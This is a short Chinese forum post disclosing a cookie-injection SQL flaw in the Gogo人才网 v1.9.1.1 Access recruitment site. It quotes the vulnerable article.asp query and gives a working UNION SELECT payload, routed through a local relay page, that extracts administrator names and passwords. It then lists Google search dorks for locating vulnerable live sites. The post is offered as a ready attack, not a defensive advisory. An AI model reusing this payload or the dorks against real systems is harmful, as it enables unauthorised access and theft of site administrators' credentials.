Gogo人才网系统v1.9.1.1(access版)Cookies注入漏洞
漏洞文件:article.asp问题代码:sql="select c_name from article_c where id="&request("class")
由于防注入防了querystring和form，我们可以Cookies注入。
用注入中转生成一个asp页面，本地搭建asp环境，注入语句：http://localhost/jmCook.asp?jmdcw=1%20and%201=2%20union%20select%20gogo_name%2b%27%2a%27%2bgogo_pwd%20from%20gogo_admin
如图：
也可以用GreenBrowser自带 的JS插件，填写如图：
Google：用户登录 个人注册 企业注册 设为首页 加为收藏
或者 inurl:gogo_add_guest.asp
或者 inurl:systemarticle.asp?id=
伟大祖国人才济济丫！
页:
[1]